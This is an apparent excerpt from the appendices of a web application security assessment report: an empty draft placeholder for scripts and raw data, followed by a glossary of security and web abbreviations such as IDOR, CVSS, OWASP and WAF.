7 Appendix A - Lists, Scripts and Raw Data

DRAFT

8 Appendix B - List of Abbreviations

Abbreviation	Description
API	Application Programming Interface
CAPTCHA	Completely Automated Public Turing test to tell Computers and Humans Apart
CVSS	Common Vulnerability Scoring System
FTP	File Transfer Protocol
IDOR	Insecure Direct Object Reference
MD5	Message-Digest Algorithm 5
OAuth	Open Authorization
ORM	Object-Relational Mapping
OWASP	Open Web Application Security Project
PII	Personally Identifiable Information
SQL	Structured Query Language
TOTP	Time-based One-Time Password
URI	Uniform Resource Identifier
WAF	Web Application Firewall

+-----+-----+-----+